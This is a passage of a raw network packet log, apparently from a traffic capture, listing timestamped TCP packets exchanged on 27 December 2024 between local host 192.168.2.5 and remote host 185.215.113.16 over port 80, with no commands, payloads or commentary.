Dec 27, 2024 08:45:40.974730015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.975385904 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.975421906 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.975495100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.975511074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.975543022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.975555897 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976211071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976243973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.976275921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976291895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976324081 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.976335049 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976953983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976979017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.976994038 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.977036953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.977056026 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.977113962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.977752924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.977788925 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.977802992 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.977818966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.977848053 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.978015900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.978545904 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.978563070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.978588104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.978600025 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.978621006 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.978718042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.979331970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.979376078 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.979386091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.979413033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.979445934 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.979480982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.980178118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.980221033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.980237007 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.980245113 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.980282068 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.980305910 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981029034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981054068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981069088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981091976 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.981112003 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.981129885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981709003 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981754065 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.981791019 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981806993 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.981849909 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.981869936 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.982511997 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.982538939 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.982556105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.982584953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.982603073 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.982645035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.983340979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.983376026 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.983380079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.983392954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.983438015 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.983445883 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984091043 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984153986 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984169006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984194994 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.984216928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.984256029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984910011 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984947920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.984960079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.984966993 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.985002041 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.985040903 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.031306982 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.157037973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157077074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157100916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157130957 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.157134056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157174110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.157365084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157450914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157465935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157501936 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.157931089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.157991886 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158009052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158072948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158092022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.158679008 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158727884 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.158732891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158749104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.158782005 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.158802986 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.159454107 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.159492016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.159507036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.159507990 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.159534931 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.159562111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.160232067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.160274029 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.160284042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.160299063 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.160331964 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.160356998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161020041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161067963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161079884 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.161082983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161118031 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.161161900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161829948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161878109 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.161925077 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161940098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.161987066 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.161993027 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.162616014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.162652016 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.162667036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.162683010 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.162714958 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.162738085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.163400888 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.163444996 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.163458109 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.163461924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.163499117 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.163535118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.164225101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.164263964 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.164279938 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.164280891 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.164323092 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.164340973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.164993048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.165019035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.165035963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.165061951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.165090084 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.165133953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.166686058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.166951895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.166995049 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.167063951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.168119907 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.168162107 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169472933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169490099 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169504881 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169518948 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169522047 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169534922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169536114 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169550896 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169568062 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169568062 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169590950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169606924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169608116 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169624090 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169639111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169646978 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.169656992 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.169667959 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.170202971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.170217991 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.170236111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.170244932 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.170269012 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.170485973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171005011 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171020031 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171036959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171047926 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.171073914 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.171144009 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171961069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171977043 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.171993017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172009945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172015905 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.172045946 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.172545910 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172601938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.172682047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172805071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172827005 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.172837973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.173341036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.173365116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.173438072 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.173482895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.173501015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.173532963 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.174118996 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174151897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.174315929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174330950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174348116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174366951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.174890041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174916029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174932003 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.174951077 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.174973965 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.175079107 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.175713062 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.175739050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.175750971 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.175755978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.175789118 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.175889015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.176515102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.176533937 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.176551104 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.176677942 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.176695108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.176728964 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.177256107 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.178899050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.201595068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201623917 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201639891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201704979 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.201719046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201760054 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.201920033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201976061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.201997995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.202023983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.250109911 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.349050999 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349098921 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349114895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349133015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349303007 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.349323988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349397898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349414110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349430084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349447012 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.349467039 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.349917889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.349987984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350003958 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350033998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350049973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.350075006 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.350714922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350742102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350756884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.350790024 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.351296902 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.351353884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.351380110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.351401091 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.351495028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.351608038 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.352020025 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352067947 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.352075100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352085114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352166891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352226973 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.352801085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352853060 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352860928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.352895975 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.352932930 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.352984905 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.353728056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.353770971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.353780031 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.353790998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.353809118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.353828907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.354598045 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.354615927 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.354633093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.354649067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.354659081 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.354691982 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.355231047 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.355278015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.355293036 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.355324984 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.355324984 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.355456114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356049061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356065989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356081963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356164932 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.356172085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356178045 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.356770039 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356842041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356857061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.356892109 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.356916904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.357074976 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.357593060 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.357645988 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.357661963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.357763052 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.358133078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.358381987 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.358428001 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.358434916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.358450890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.358524084 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.358544111 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.359155893 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.359206915 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.359222889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.359277964 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.359323978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.359973907 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360008001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360016108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360076904 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360085011 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.360747099 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360789061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360796928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.360841036 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.360903978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.361548901 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.361620903 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.361624002 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:41.361638069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:41.361690044 CET	49772	80	192.168.2.5	185.215.113.16
